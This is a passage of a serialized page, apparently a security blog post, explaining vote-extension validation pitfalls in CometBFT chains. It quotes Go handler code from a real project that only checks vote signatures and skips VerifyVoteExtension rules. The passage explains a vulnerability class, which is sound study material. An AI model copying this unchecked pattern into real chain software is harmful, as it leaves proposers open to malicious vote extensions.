p2p",{"type":21,"tag":153,"props":85689,"children":85690},{"style":160},[85691],{"type":26,"value":355},{"type":21,"tag":153,"props":85693,"children":85694},{"style":214},[85695],{"type":26,"value":85696},"ID",{"type":21,"tag":153,"props":85698,"children":85699},{"style":160},[85700],{"type":26,"value":78679},{"type":21,"tag":153,"props":85702,"children":85703},{"style":192},[85704],{"type":26,"value":85705},"added",{"type":21,"tag":153,"props":85707,"children":85708},{"style":214},[85709],{"type":26,"value":14769},{"type":21,"tag":153,"props":85711,"children":85712},{"style":160},[85713],{"type":26,"value":1670},{"type":21,"tag":153,"props":85715,"children":85716},{"style":192},[85717],{"type":26,"value":50710},{"type":21,"tag":153,"props":85719,"children":85720},{"style":214},[85721],{"type":26,"value":17579},{"type":21,"tag":153,"props":85723,"children":85724},{"style":160},[85725],{"type":26,"value":2659},{"type":21,"tag":153,"props":85727,"children":85728},{"class":155,"line":166},[85729],{"type":21,"tag":153,"props":85730,"children":85731},{"style":198},[85732],{"type":26,"value":23033},{"type":21,"tag":153,"props":85734,"children":85735},{"class":155,"line":225},[85736],{"type":21,"tag":153,"props":85737,"children":85738},{"emptyLinePlaceholder":16},[85739],{"type":26,"value":759},{"type":21,"tag":153,"props":85741,"children":85742},{"class":155,"line":239},[85743],{"type":21,"tag":153,"props":85744,"children":85745},{"style":3050},[85746],{"type":26,"value":85747},"    // A precommit for the previous height?\n",{"type":21,"tag":153,"props":85749,"children":85750},{"class":155,"line":382},[85751],{"type":21,"tag":153,"props":85752,"children":85753},{"style":3050},[85754],{"type":26,"value":85755},"    // These come in while we wait timeoutCommit\n",{"type":21,"tag":153,"props":85757,"children":85758},{"class":155,"line":501},[85759,85763,85768,85772,85777,85781,85785,85789,85794,85798,85802,85806,85810,85814,85819,85823,85827,85831,85836],{"type":21,"tag":153,"props":85760,"children":85761},{"style":1751},[85762],{"type":26,"value":2434},{"type":21,"tag":153,"props":85764,"children":85765},{"style":192},[85766],{"type":26,"value":85767}," vote",{"type":21,"tag":153,"props":85769,"children":85770},{"style":160},[85771],{"type":26,"value":355},{"type":21,"tag":153,"props":85773,"children":85774},{"style":192},[85775],{"type":26,"value":85776},"Height",{"type":21,"tag":153,"props":85778,"children":85779},{"style":198},[85780],{"type":26,"value":4099},{"type":21,"tag":153,"props":85782,"children":85783},{"style":300},[85784],{"type":26,"value":3033},{"type":21,"tag":153,"props":85786,"children":85787},{"style":198},[85788],{"type":26,"value":6031},{"type":21,"tag":153,"props":85790,"children":85791},{"style":192},[85792],{"type":26,"value":85793}," cs",{"type":21,"tag":153,"props":85795,"children":85796},{"style":160},[85797],{"type":26,"value":355},{"type":21,"tag":153,"props":85799,"children":85800},{"style":192},[85801],{"type":26,"value":85776},{"type":21,"tag":153,"props":85803,"children":85804},{"style":198},[85805],{"type":26,"value":16893},{"type":21,"tag":153,"props":85807,"children":85808},{"style":192},[85809],{"type":26,"value":85767},{"type":21,"tag":153,"props":85811,"children":85812},{"style":160},[85813],{"type":26,"value":355},{"type":21,"tag":153,"props":85815,"children":85816},{"style":192},[85817],{"type":26,"value":85818},"Type",{"type":21,"tag":153,"props":85820,"children":85821},{"style":198},[85822],{"type":26,"value":6031},{"type":21,"tag":153,"props":85824,"children":85825},{"style":192},[85826],{"type":26,"value":80472},{"type":21,"tag":153,"props":85828,"children":85829},{"style":160},[85830],{"type":26,"value":355},{"type":21,"tag":153,"props":85832,"children":85833},{"style":192},[85834],{"type":26,"value":85835},"PrecommitType",{"type":21,"tag":153,"props":85837,"children":85838},{"style":160},[85839],{"type":26,"value":236},{"type":21,"tag":153,"props":85841,"children":85842},{"class":155,"line":533},[85843],{"type":21,"tag":153,"props":85844,"children":85845},{"style":198},[85846],{"type":26,"value":84139},{"type":21,"tag":153,"props":85848,"children":85849},{"class":155,"line":542},[85850],{"type":21,"tag":153,"props":85851,"children":85852},{"style":3050},[85853],{"type":26,"value":85854},"        // Late precommits are not checked by VerifyVoteExtension\n",{"type":21,"tag":153,"props":85856,"children":85857},{"class":155,"line":762},[85858,85863,85867,85871,85875,85879,85883,85888,85892,85897,85901,85905],{"type":21,"tag":153,"props":85859,"children":85860},{"style":192},[85861],{"type":26,"value":85862},"        added",{"type":21,"tag":153,"props":85864,"children":85865},{"style":160},[85866],{"type":26,"value":1670},{"type":21,"tag":153,"props":85868,"children":85869},{"style":192},[85870],{"type":26,"value":50710},{"type":21,"tag":153,"props":85872,"children":85873},{"style":198},[85874],{"type":26,"value":255},{"type":21,"tag":153,"props":85876,"children":85877},{"style":192},[85878],{"type":26,"value":85793},{"type":21,"tag":153,"props":85880,"children":85881},{"style":160},[85882],{"type":26,"value":355},{"type":21,"tag":153,"props":85884,"children":85885},{"style":192},[85886],{"type":26,"value":85887},"LastCommit",{"type":21,"tag":153,"props":85889,"children":85890},{"style":160},[85891],{"type":26,"value":355},{"type":21,"tag":153,"props":85893,"children":85894},{"style":181},[85895],{"type":26,"value":85896},"AddVote",{"type":21,"tag":153,"props":85898,"children":85899},{"style":160},[85900],{"type":26,"value":189},{"type":21,"tag":153,"props":85902,"children":85903},{"style":192},[85904],{"type":26,"value":85656},{"type":21,"tag":153,"props":85906,"children":85907},{"style":160},[85908],{"type":26,"value":5909},{"type":21,"tag":153,"props":85910,"children":85911},{"class":155,"line":776},[85912],{"type":21,"tag":153,"props":85913,"children":85914},{"style":198},[85915],{"type":26,"value":84139},{"type":21,"tag":153,"props":85917,"children":85918},{"class":155,"line":795},[85919,85923,85928,85932],{"type":21,"tag":153,"props":85920,"children":85921},{"style":1751},[85922],{"type":26,"value":18441},{"type":21,"tag":153,"props":85924,"children":85925},{"style":192},[85926],{"type":26,"value":85927}," added",{"type":21,"tag":153,"props":85929,"children":85930},{"style":160},[85931],{"type":26,"value":1670},{"type":21,"tag":153,"props":85933,"children":85934},{"style":192},[85935],{"type":26,"value":85936},"err\n",{"type":21,"tag":153,"props":85938,"children":85939},{"class":155,"line":808},[85940],{"type":21,"tag":153,"props":85941,"children":85942},{"style":160},[85943],{"type":26,"value":539},{"type":21,"tag":153,"props":85945,"children":85946},{"class":155,"line":820},[85947,85952,85956,85960,85964,85969,85973,85978,85982,85987,85991,85996,86000,86004,86008,86012],{"type":21,"tag":153,"props":85948,"children":85949},{"style":192},[85950],{"type":26,"value":85951},"    extEnabled",{"type":21,"tag":153,"props":85953,"children":85954},{"style":198},[85955],{"type":26,"value":78713},{"type":21,"tag":153,"props":85957,"children":85958},{"style":192},[85959],{"type":26,"value":85793},{"type":21,"tag":153,"props":85961,"children":85962},{"style":160},[85963],{"type":26,"value":355},{"type":21,"tag":153,"props":85965,"children":85966},{"style":192},[85967],{"type":26,"value":85968},"state",{"type":21,"tag":153,"props":85970,"children":85971},{"style":160},[85972],{"type":26,"value":355},{"type":21,"tag":153,"props":85974,"children":85975},{"style":192},[85976],{"type":26,"value":85977},"ConsensusParams",{"type":21,"tag":153,"props":85979,"children":85980},{"style":160},[85981],{"type":26,"value":355},{"type":21,"tag":153,"props":85983,"children":85984},{"style":192},[85985],{"type":26,"value":85986},"Feature",{"type":21,"tag":153,"props":85988,"children":85989},{"style":160},[85990],{"type":26,"value":355},{"type":21,"tag":153,"props":85992,"children":85993},{"style":181},[85994],{"type":26,"value":85995},"VoteExtensionsEnabled",{"type":21,"tag":153,"props":85997,"children":85998},{"style":160},[85999],{"type":26,"value":189},{"type":21,"tag":153,"props":86001,"children":86002},{"style":192},[86003],{"type":26,"value":85656},{"type":21,"tag":153,"props":86005,"children":86006},{"style":160},[86007],{"type":26,"value":355},{"type":21,"tag":153,"props":86009,"children":86010},{"style":192},[86011],{"type":26,"value":85776},{"type":21,"tag":153,"props":86013,"children":86014},{"style":160},[86015],{"type":26,"value":5909},{"type":21,"tag":153,"props":86017,"children":86018},{"class":155,"line":842},[86019,86023,86028],{"type":21,"tag":153,"props":86020,"children":86021},{"style":1751},[86022],{"type":26,"value":2434},{"type":21,"tag":153,"props":86024,"children":86025},{"style":192},[86026],{"type":26,"value":86027}," extEnabled",{"type":21,"tag":153,"props":86029,"children":86030},{"style":160},[86031],{"type":26,"value":236},{"type":21,"tag":153,"props":86033,"children":86034},{"class":155,"line":3204},[86035],{"type":21,"tag":153,"props":86036,"children":86037},{"style":198},[86038],{"type":26,"value":84139},{"type":21,"tag":153,"props":86040,"children":86041},{"class":155,"line":3230},[86042,86046,86050,86054,86058,86062,86066,86070,86074,86078,86082,86086,86090,86095,86099,86104,86108],{"type":21,"tag":153,"props":86043,"children":86044},{"style":1751},[86045],{"type":26,"value":2607},{"type":21,"tag":153,"props":86047,"children":86048},{"style":192},[86049],{"type":26,"value":85767},{"type":21,"tag":153,"props":86051,"children":86052},{"style":160},[86053],{"type":26,"value":355},{"type":21,"tag":153,"props":86055,"children":86056},{"style":192},[86057],{"type":26,"value":85818},{"type":21,"tag":153,"props":86059,"children":86060},{"style":198},[86061],{"type":26,"value":6031},{"type":21,"tag":153,"props":86063,"children":86064},{"style":192},[86065],{"type":26,"value":80472},{"type":21,"tag":153,"props":86067,"children":86068},{"style":160},[86069],{"type":26,"value":355},{"type":21,"tag":153,"props":86071,"children":86072},{"style":192},[86073],{"type":26,"value":85835},{"type":21,"tag":153,"props":86075,"children":86076},{"style":198},[86077],{"type":26,"value":16893},{"type":21,"tag":153,"props":86079,"children":86080},{"style":198},[86081],{"type":26,"value":15581},{"type":21,"tag":153,"props":86083,"children":86084},{"style":192},[86085],{"type":26,"value":85656},{"type":21,"tag":153,"props":86087,"children":86088},{"style":160},[86089],{"type":26,"value":355},{"type":21,"tag":153,"props":86091,"children":86092},{"style":192},[86093],{"type":26,"value":86094},"BlockID",{"type":21,"tag":153,"props":86096,"children":86097},{"style":160},[86098],{"type":26,"value":355},{"type":21,"tag":153,"props":86100,"children":86101},{"style":181},[86102],{"type":26,"value":86103},"IsNil",{"type":21,"tag":153,"props":86105,"children":86106},{"style":160},[86107],{"type":26,"value":2461},{"type":21,"tag":153,"props":86109,"children":86110},{"style":198},[86111],{"type":26,"value":86112},"&&\n",{"type":21,"tag":153,"props":86114,"children":86115},{"class":155,"line":3239},[86116,86121,86126,86130,86134,86138,86142,86146,86151,86155,86160,86164],{"type":21,"tag":153,"props":86117,"children":86118},{"style":198},[86119],{"type":26,"value":86120},"            !",{"type":21,"tag":153,"props":86122,"children":86123},{"style":192},[86124],{"type":26,"value":86125},"bytes",{"type":21,"tag":153,"props":86127,"children":86128},{"style":160},[86129],{"type":26,"value":355},{"type":21,"tag":153,"props":86131,"children":86132},{"style":181},[86133],{"type":26,"value":84595},{"type":21,"tag":153,"props":86135,"children":86136},{"style":160},[86137],{"type":26,"value":189},{"type":21,"tag":153,"props":86139,"children":86140},{"style":192},[86141],{"type":26,"value":85656},{"type":21,"tag":153,"props":86143,"children":86144},{"style":160},[86145],{"type":26,"value":355},{"type":21,"tag":153,"props":86147,"children":86148},{"style":192},[86149],{"type":26,"value":86150},"ValidatorAddress",{"type":21,"tag":153,"props":86152,"children":86153},{"style":160},[86154],{"type":26,"value":1670},{"type":21,"tag":153,"props":86156,"children":86157},{"style":192},[86158],{"type":26,"value":86159},"myAddr",{"type":21,"tag":153,"props":86161,"children":86162},{"style":160},[86163],{"type":26,"value":26686},{"type":21,"tag":153,"props":86165,"children":86166},{"style":3050},[86167],{"type":26,"value":86168},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":21,"tag":153,"props":86170,"children":86171},{"class":155,"line":3253},[86172],{"type":21,"tag":153,"props":86173,"children":86174},{"style":198},[86175],{"type":26,"value":84815},{"type":21,"tag":153,"props":86177,"children":86178},{"class":155,"line":3301},[86179,86183,86187,86191,86195,86200,86204,86208,86212,86217,86221,86226,86230,86234],{"type":21,"tag":153,"props":86180,"children":86181},{"style":192},[86182],{"type":26,"value":84633},{"type":21,"tag":153,"props":86184,"children":86185},{"style":198},[86186],{"type":26,"value":78713},{"type":21,"tag":153,"props":86188,"children":86189},{"style":192},[86190],{"type":26,"value":85793},{"type":21,"tag":153,"props":86192,"children":86193},{"style":160},[86194],{"type":26,"value":355},{"type":21,"tag":153,"props":86196,"children":86197},{"style":192},[86198],{"type":26,"value":86199},"blockExec",{"type":21,"tag":153,"props":86201,"children":86202},{"style":160},[86203],{"type":26,"value":355},{"type":21,"tag":153,"props":86205,"children":86206},{"style":181},[86207],{"type":26,"value":85461},{"type":21,"tag":153,"props":86209,"children":86210},{"style":160},[86211],{"type":26,"value":189},{"type":21,"tag":153,"props":86213,"children":86214},{"style":192},[86215],{"type":26,"value":86216},"context",{"type":21,"tag":153,"props":86218,"children":86219},{"style":160},[86220],{"type":26,"value":355},{"type":21,"tag":153,"props":86222,"children":86223},{"style":181},[86224],{"type":26,"value":86225},"TODO",{"type":21,"tag":153,"props":86227,"children":86228},{"style":160},[86229],{"type":26,"value":21072},{"type":21,"tag":153,"props":86231,"children":86232},{"style":192},[86233],{"type":26,"value":85656},{"type":21,"tag":153,"props":86235,"children":86236},{"style":160},[86237],{"type":26,"value":5909},{"type":21,"tag":153,"props":86239,"children":86240},{"class":155,"line":3346},[86241],{"type":21,"tag":153,"props":86242,"children":86243},{"style":198},[86244],{"type":26,"value":84815},{"type":21,"tag":153,"props":86246,"children":86247},{"class":155,"line":3355},[86248],{"type":21,"tag":153,"props":86249,"children":86250},{"style":160},[86251],{"type":26,"value":2765},{"type":21,"tag":153,"props":86253,"children":86254},{"class":155,"line":3364},[86255,86259,86263,86267],{"type":21,"tag":153,"props":86256,"children":86257},{"style":160},[86258],{"type":26,"value":18476},{"type":21,"tag":153,"props":86260,"children":86261},{"style":1751},[86262],{"type":26,"value":2717},{"type":21,"tag":153,"props":86264,"children":86265},{"style":1751},[86266],{"type":26,"value":18485},{"type":21,"tag":153,"props":86268,"children":86269},{"style":160},[86270],{"type":26,"value":236},{"type":21,"tag":153,"props":86272,"children":86273},{"class":155,"line":3376},[86274],{"type":21,"tag":153,"props":86275,"children":86276},{"style":198},[86277],{"type":26,"value":84139},{"type":21,"tag":153,"props":86279,"children":86280},{"class":155,"line":3393},[86281],{"type":21,"tag":153,"props":86282,"children":86283},{"style":160},[86284],{"type":26,"value":539},{"type":21,"tag":153,"props":86286,"children":86287},{"class":155,"line":3405},[86288],{"type":21,"tag":153,"props":86289,"children":86290},{"style":198},[86291],{"type":26,"value":23033},{"type":21,"tag":153,"props":86293,"children":86294},{"class":155,"line":3427},[86295],{"type":21,"tag":153,"props":86296,"children":86297},{"style":160},[86298],{"type":26,"value":548},{"type":21,"tag":22,"props":86300,"children":86301},{},[86302],{"type":26,"value":86303},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":21,"tag":114,"props":86305,"children":86307},{"id":86306},"real-world-examples-4",[86308],{"type":26,"value":78986},{"type":21,"tag":22,"props":86310,"children":86311},{},[86312,86314,86319,86321,86327,86329,86335],{"type":26,"value":86313},"An example of the bug we just described is shown here. ",{"type":21,"tag":78,"props":86315,"children":86317},{"className":86316},[],[86318],{"type":26,"value":85440},{"type":26,"value":86320}," only checks that each vote is properly signed by a validator in ",{"type":21,"tag":78,"props":86322,"children":86324},{"className":86323},[],[86325],{"type":26,"value":86326},"ValidateVoteExtension",{"type":26,"value":86328}," but does not verify it against the rules in ",{"type":21,"tag":78,"props":86330,"children":86332},{"className":86331},[],[86333],{"type":26,"value":86334},"VerifyVoteExtention.",{"type":26,"value":86336}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":21,"tag":22,"props":86338,"children":86339},{},[86340],{"type":21,"tag":29,"props":86341,"children":86344},{"href":86342,"rel":86343},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[33],[86345],{"type":26,"value":79036},{"type":21,"tag":143,"props":86347,"children":86349},{"code":86348,"language":78461,"meta":7,"className":78462,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n    return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n        ...\n        var injection []byte\n        if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n            //Fails to verify vote extensions with VerifyVoteExtension rules\n            err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n            if err != nil {\n                return nil, err\n            }\n            injection, err = json.Marshal(req.LocalLastCommit)\n            if err != nil {\n                h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n                return nil, err\n            }\n            ...\n        }\n        defaultRes, err := h.defaultPrepareProposal(ctx, req)\n        ...\n        proposalTxs := defaultRes.Txs\n        if injection != nil {\n            proposalTxs = append([][]byte{injection}, proposalTxs...)\n            h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n        }\n        return &abcitypes.ResponsePrepareProposal{\n            Txs: proposalTxs,\n        }, nil\n    }\n}\n",[86350],{"type":21,"tag":78,"props":86351,"children":86352},{"__ignoreMap":7},[86353,86407,86498,86505,86526,86593,86601,86706,86729,86748,86755,86809,86832,86887,86906,86913,86920,86927,86981,86988,87014,87037,87089,87151,87158,87185,87205,87217,87224],{"type":21,"tag":153,"props":86354,"children":86355},{"class":155,"line":156},[86356,86360,86364,86369,86373,86378,86382,86387,86391,86395,86399,86403],{"type":21,"tag":153,"props":86357,"children":86358},{"style":170},[86359],{"type":26,"value":78597},{"type":21,"tag":153,"props":86361,"children":86362},{"style":160},[86363],{"type":26,"value":5820},{"type":21,"tag":153,"props":86365,"children":86366},{"style":192},[86367],{"type":26,"value":86368},"h ",{"type":21,"tag":153,"props":86370,"children":86371},{"style":198},[86372],{"type":26,"value":313},{"type":21,"tag":153,"props":86374,"children":86375},{"style":214},[86376],{"type":26,"value":86377},"Handlers",{"type":21,"tag":153,"props":86379,"children":86380},{"style":160},[86381],{"type":26,"value":2362},{"type":21,"tag":153,"props":86383,"children":86384},{"style":181},[86385],{"type":26,"value":86386},"PrepareProposalHandler",{"type":21,"tag":153,"props":86388,"children":86389},{"style":160},[86390],{"type":26,"value":2461},{"type":21,"tag":153,"props":86392,"children":86393},{"style":214},[86394],{"type":26,"value":81027},{"type":21,"tag":153,"props":86396,"children":86397},{"style":160},[86398],{"type":26,"value":355},{"type":21,"tag":153,"props":86400,"children":86401},{"style":214},[86402],{"type":26,"value":86386},{"type":21,"tag":153,"props":86404,"children":86405},{"style":160},[86406],{"type":26,"value":236},{"type":21,"tag":153,"props":86408,"children":86409},{"class":155,"line":166},[86410,86414,86418,86422,86426,86430,86434,86438,86442,86447,86451,86456,86460,86465,86469,86473,86477,86481,86486,86490,86494],{"type":21,"tag":153,"props":86411,"children":86412},{"style":1751},[86413],{"type":26,"value":19687},{"type":21,"tag":153,"props":86415,"children":86416},{"style":170},[86417],{"type":26,"value":82306},{"type":21,"tag":153,"props":86419,"children":86420},{"style":160},[86421],{"type":26,"value":189},{"type":21,"tag":153,"props":86423,"children":86424},{"style":192},[86425],{"type":26,"value":1882},{"type":21,"tag":153,"props":86427,"children":86428},{"style":214},[86429],{"type":26,"value":80938},{"type":21,"tag":153,"props":86431,"children":86432},{"style":160},[86433],{"type":26,"value":355},{"type":21,"tag":153,"props":86435,"children":86436},{"style":214},[86437],{"type":26,"value":78646},{"type":21,"tag":153,"props":86439,"children":86440},{"style":160},[86441],{"type":26,"value":1670},{"type":21,"tag":153,"props":86443,"children":86444},{"style":192},[86445],{"type":26,"value":86446},"req",{"type":21,"tag":153,"props":86448,"children":86449},{"style":198},[86450],{"type":26,"value":5080},{"type":21,"tag":153,"props":86452,"children":86453},{"style":214},[86454],{"type":26,"value":86455},"abcitypes",{"type":21,"tag":153,"props":86457,"children":86458},{"style":160},[86459],{"type":26,"value":355},{"type":21,"tag":153,"props":86461,"children":86462},{"style":214},[86463],{"type":26,"value":86464},"RequestPrepareProposal",{"type":21,"tag":153,"props":86466,"children":86467},{"style":160},[86468],{"type":26,"value":78679},{"type":21,"tag":153,"props":86470,"children":86471},{"style":198},[86472],{"type":26,"value":313},{"type":21,"tag":153,"props":86474,"children":86475},{"style":214},[86476],{"type":26,"value":86455},{"type":21,"tag":153,"props":86478,"children":86479},{"style":160},[86480],{"type":26,"value":355},{"type":21,"tag":153,"props":86482,"children":86483},{"style":214},[86484],{"type":26,"value":86485},"ResponsePrepareProposal",{"type":21,"tag":153,"props":86487,"children":86488},{"style":160},[86489],{"type":26,"value":1670},{"type":21,"tag":153,"props":86491,"children":86492},{"style":214},[86493],{"type":26,"value":17566},{"type":21,"tag":153,"props":86495,"children":86496},{"style":160},[86497],{"type":26,"value":2659},{"type":21,"tag":153,"props":86499,"children":86500},{"class":155,"line":225},[86501],{"type":21,"tag":153,"props":86502,"children":86503},{"style":198},[86504],{"type":26,"value":84139},{"type":21,"tag":153,"props":86506,"children":86507},{"class":155,"line":239},[86508,86512,86517,86521],{"type":21,"tag":153,"props":86509,"children":86510},{"style":170},[86511],{"type":26,"value":82415},{"type":21,"tag":153,"props":86513,"children":86514},{"style":192},[86515],{"type":26,"value":86516}," injection",{"type":21,"tag":153,"props":86518,"children":86519},{"style":160},[86520],{"type":26,"value":78524},{"type":21,"tag":153,"props":86522,"children":86523},{"style":214},[86524],{"type":26,"value":86525},"byte\n",{"type":21,"tag":153,"props":86527,"children":86528},{"class":155,"line":382},[86529,86533,86538,86542,86546,86550,86554,86558,86562,86566,86571,86575,86580,86584,86589],{"type":21,"tag":153,"props":86530,"children":86531},{"style":1751},[86532],{"type":26,"value":2607},{"type":21,"tag":153,"props":86534,"children":86535},{"style":192},[86536],{"type":26,"value":86537}," req",{"type":21,"tag":153,"props":86539,"children":86540},{"style":160},[86541],{"type":26,"value":355},{"type":21,"tag":153,"props":86543,"children":86544},{"style":192},[86545],{"type":26,"value":85776},{"type":21,"tag":153,"props":86547,"children":86548},{"style":198},[86549],{"type":26,"value":16902},{"type":21,"tag":153,"props":86551,"children":86552},{"style":192},[86553],{"type":26,"value":28540},{"type":21,"tag":153,"props":86555,"children":86556},{"style":160},[86557],{"type":26,"value":355},{"type":21,"tag":153,"props":86559,"children":86560},{"style":181},[86561],{"type":26,"value":85977},{"type":21,"tag":153,"props":86563,"children":86564},{"style":160},[86565],{"type":26,"value":32862},{"type":21,"tag":153,"props":86567,"children":86568},{"style":192},[86569],{"type":26,"value":86570},"Abci",{"type":21,"tag":153,"props":86572,"children":86573},{"style":160},[86574],{"type":26,"value":355},{"type":21,"tag":153,"props":86576,"children":86577},{"style":192},[86578],{"type":26,"value":86579},"VoteExtensionsEnableHeight",{"type":21,"tag":153,"props":86581,"children":86582},{"style":198},[86583],{"type":26,"value":16893},{"type":21,"tag":153,"props":86585,"children":86586},{"style":192},[86587],{"type":26,"value":86588}," collectSigs",{"type":21,"tag":153,"props":86590,"children":86591},{"style":160},[86592],{"type":26,"value":236},{"type":21,"tag":153,"props":86594,"children":86595},{"class":155,"line":501},[86596],{"type":21,"tag":153,"props":86597,"children":86598},{"style":3050},[86599],{"type":26,"value":86600},"            //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":21,"tag":153,"props":86602,"children":86603},{"class":155,"line":533},[86604,86608,86612,86617,86621,86626,86630,86634,86638,86643,86647,86652,86656,86660,86664,86668,86672,86676,86680,86685,86689,86693,86697,86702],{"type":21,"tag":153,"props":86605,"children":86606},{"style":192},[86607],{"type":26,"value":84633},{"type":21,"tag":153,"props":86609,"children":86610},{"style":198},[86611],{"type":26,"value":78713},{"type":21,"tag":153,"props":86613,"children":86614},{"style":192},[86615],{"type":26,"value":86616}," baseapp",{"type":21,"tag":153,"props":86618,"children":86619},{"style":160},[86620],{"type":26,"value":355},{"type":21,"tag":153,"props":86622,"children":86623},{"style":181},[86624],{"type":26,"value":86625},"ValidateVoteExtensions",{"type":21,"tag":153,"props":86627,"children":86628},{"style":160},[86629],{"type":26,"value":189},{"type":21,"tag":153,"props":86631,"children":86632},{"style":192},[86633],{"type":26,"value":1882},{"type":21,"tag":153,"props":86635,"children":86636},{"style":160},[86637],{"type":26,"value":1670},{"type":21,"tag":153,"props":86639,"children":86640},{"style":192},[86641],{"type":26,"value":86642},"h",{"type":21,"tag":153,"props":86644,"children":86645},{"style":160},[86646],{"type":26,"value":355},{"type":21,"tag":153,"props":86648,"children":86649},{"style":192},[86650],{"type":26,"value":86651},"stakingKeeper",{"type":21,"tag":153,"props":86653,"children":86654},{"style":160},[86655],{"type":26,"value":1670},{"type":21,"tag":153,"props":86657,"children":86658},{"style":192},[86659],{"type":26,"value":86446},{"type":21,"tag":153,"props":86661,"children":86662},{"style":160},[86663],{"type":26,"value":355},{"type":21,"tag":153,"props":86665,"children":86666},{"style":192},[86667],{"type":26,"value":85776},{"type":21,"tag":153,"props":86669,"children":86670},{"style":160},[86671],{"type":26,"value":1670},{"type":21,"tag":153,"props":86673,"children":86674},{"style":192},[86675],{"type":26,"value":1882},{"type":21,"tag":153,"props":86677,"children":86678},{"style":160},[86679],{"type":26,"value":355},{"type":21,"tag":153,"props":86681,"children":86682},{"style":181},[86683],{"type":26,"value":86684},"ChainID",{"type":21,"tag":153,"props":86686,"children":86687},{"style":160},[86688],{"type":26,"value":21072},{"type":21,"tag":153,"props":86690,"children":86691},{"style":192},[86692],{"type":26,"value":86446},{"type":21,"tag":153,"props":86694,"children":86695},{"style":160},[86696],{"type":26,"value":355},{"type":21,"tag":153,"props":86698,"children":86699},{"style":192},[86700],{"type":26,"value":86701},"LocalLastCommit",{"type":21,"tag":153,"props":86703,"children":86704},{"style":160},[86705],{"type":26,"value":5909},{"type":21,"tag":153,"props":86707,"children":86708},{"class":155,"line":542},[86709,86713,86717,86721,86725],{"type":21,"tag":153,"props":86710,"children":86711},{"style":1751},[86712],{"type":26,"value":61093},{"type":21,"tag":153,"props":86714,"children":86715},{"style":192},[86716],{"type":26,"value":50811},{"type":21,"tag":153,"props":86718,"children":86719},{"style":198},[86720],{"type":26,"value":66680},{"type":21,"tag":153,"props":86722,"children":86723},{"style":170},[86724],{"type":26,"value":84215},{"type":21,"tag":153,"props":86726,"children":86727},{"style":160},[86728],{"type":26,"value":236},{"type":21,"tag":153,"props":86730,"children":86731},{"class":155,"line":762},[86732,86736,86740,86744],{"type":21,"tag":153,"props":86733,"children":86734},{"style":1751},[86735],{"type":26,"value":63021},{"type":21,"tag":153,"props":86737,"children":86738},{"style":170},[86739],{"type":26,"value":84215},{"type":21,"tag":153,"props":86741,"children":86742},{"style":160},[86743],{"type":26,"value":1670},{"type":21,"tag":153,"props":86745,"children":86746},{"style":192},[86747],{"type":26,"value":85936},{"type":21,"tag":153,"props":86749,"children":86750},{"class":155,"line":776},[86751],{"type":21,"tag":153,"props":86752,"children":86753},{"style":160},[86754],{"type":26,"value":61177},{"type":21,"tag":153,"props":86756,"children":86757},{"class":155,"line":795},[86758,86763,86767,86771,86775,86780,86784,86789,86793,86797,86801,86805],{"type":21,"tag":153,"props":86759,"children":86760},{"style":192},[86761],{"type":26,"value":86762},"            injection",{"type":21,"tag":153,"props":86764,"children":86765},{"style":160},[86766],{"type":26,"value":1670},{"type":21,"tag":153,"props":86768,"children":86769},{"style":192},[86770],{"type":26,"value":50710},{"type":21,"tag":153,"props":86772,"children":86773},{"style":198},[86774],{"type":26,"value":255},{"type":21,"tag":153,"props":86776,"children":86777},{"style":192},[86778],{"type":26,"value":86779}," json",{"type":21,"tag":153,"props":86781,"children":86782},{"style":160},[86783],{"type":26,"value":355},{"type":21,"tag":153,"props":86785,"children":86786},{"style":181},[86787],{"type":26,"value":86788},"Marshal",{"type":21,"tag":153,"props":86790,"children":86791},{"style":160},[86792],{"type":26,"value":189},{"type":21,"tag":153,"props":86794,"children":86795},{"style":192},[86796],{"type":26,"value":86446},{"type":21,"tag":153,"props":86798,"children":86799},{"style":160},[86800],{"type":26,"value":355},{"type":21,"tag":153,"props":86802,"children":86803},{"style":192},[86804],{"type":26,"value":86701},{"type":21,"tag":153,"props":86806,"children":86807},{"style":160},[86808],{"type":26,"value":5909},{"type":21,"tag":153,"props":86810,"children":86811},{"class":155,"line":808},[86812,86816,86820,86824,86828],{"type":21,"tag":153,"props":86813,"children":86814},{"style":1751},[86815],{"type":26,"value":61093},{"type":21,"tag":153,"props":86817,"children":86818},{"style":192},[86819],{"type":26,"value":50811},{"type":21,"tag":153,"props":86821,"children":86822},{"style":198},[86823],{"type":26,"value":66680},{"type":21,"tag":153,"props":86825,"children":86826},{"style":170},[86827],{"type":26,"value":84215},{"type":21,"tag":153,"props":86829,"children":86830},{"style":160},[86831],{"type":26,"value":236},{"type":21,"tag":153,"props":86833,"children":86834},{"class":155,"line":820},[86835,86840,86844,86849,86853,86857,86861,86866,86870,86875,86879,86883],{"type":21,"tag":153,"props":86836,"children":86837},{"style":192},[86838],{"type":26,"value":86839},"                h",{"type":21,"tag":153,"props":86841,"children":86842},{"style":160},[86843],{"type":26,"value":355},{"type":21,"tag":153,"props":86845,"children":86846},{"style":192},[86847],{"type":26,"value":86848},"logger",{"type":21,"tag":153,"props":86850,"children":86851},{"style":160},[86852],{"type":26,"value":355},{"type":21,"tag":153,"props":86854,"children":86855},{"style":181},[86856],{"type":26,"value":40091},{"type":21,"tag":153,"props":86858,"children":86859},{"style":160},[86860],{"type":26,"value":189},{"type":21,"tag":153,"props":86862,"children":86863},{"style":671},[86864],{"type":26,"value":86865},"\"failed to marshal extended 